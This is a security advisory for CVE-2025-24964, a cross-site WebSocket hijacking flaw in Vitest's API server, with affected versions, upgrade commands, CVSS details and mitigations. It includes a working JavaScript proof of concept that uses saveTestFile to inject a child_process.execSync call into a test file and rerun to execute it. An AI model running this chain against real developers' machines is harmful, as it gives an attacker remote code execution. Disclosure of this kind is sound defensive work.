Skip to content

GHSA-9crc-q9x8-hgqq CVE-2025-24964

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

High npm
Severity
9.6 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.68%
Chance of exploitation in the next 30 days. Higher than 52.47% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1385 Missing Origin Validation in WebSockets
Fix
1.6.1
Upgrade vitest to this version or later

Description

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Affected versions

npm

PackageVulnerableFixed in
vitest
>= 1.0.0, < 1.6.1
1.6.1
vitest
>= 2.0.0, < 2.1.9
2.1.9
vitest
>= 3.0.0, < 3.0.5
3.0.5
vitest
<= 0.0.125
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

vitest npm → 1.6.1

npm
npm install vitest@1.6.1
yarn
yarn add vitest@1.6.1
pnpm
pnpm add vitest@1.6.1

Severity breakdown

CVSS 3.1 9.6

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-1385: Missing Origin Validation in WebSockets

The product uses a WebSocket, but it does not properly verify that the source of data or communication is valid.

How to prevent it
  • Implementation: Enable CORS-like access restrictions by verifying the 'Origin' header during the WebSocket handshake.
  • Implementation: Use a randomized CSRF token to verify requests.
  • Implementation: Use TLS to securely communicate using 'wss' (WebSocket Secure) instead of 'ws'.
  • Architecture and Design, Implementation: Require user authentication prior to the WebSocket connection being established. For example, the WS library in Node has a 'verifyClient' function.
  • Implementation: Leverage rate limiting to prevent against DoS. Use of the leaky bucket algorithm can help with this.
  • Implementation: Use a library that provides restriction of the payload size. For example, WS library for Node includes 'maxPayloadoption' that can be set.
  • Implementation: Treat data/input as untrusted in both directions and apply the same data/input sanitization as XSS, SQLi, etc.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-82fw-gwwq-j7x9
Vitest: Path Traversal / Arbitrary File Read via @vitest/mocker Redirect Mock
Medium Also affects vitest
GHSA-5xrq-8626-4rwp
When Vitest UI server is listening, arbitrary file can be read and executed
Medium Also affects vitest
GHSA-78mf-482w-62qj
Nginx-UI: Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints
High Same weakness, CWE-1385
GHSA-jcc7-9wpm-mj36
Next.js: null origin can bypass dev HMR websocket CSRF checks
Medium Same weakness, CWE-1385
GHSA-9f65-56v6-gxw7
Claude Code Improper Authorization via websocket connections from arbitrary origins
High Same weakness, CWE-1385
GHSA-3h52-269p-cp9r
Information exposure in Next.js dev server due to lack of origin verification
Medium Same weakness, CWE-1385
GHSA-vg6x-rcgg-rjx6
Websites were able to send any requests to the development server and read the response in vite
Medium Same weakness, CWE-1385
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor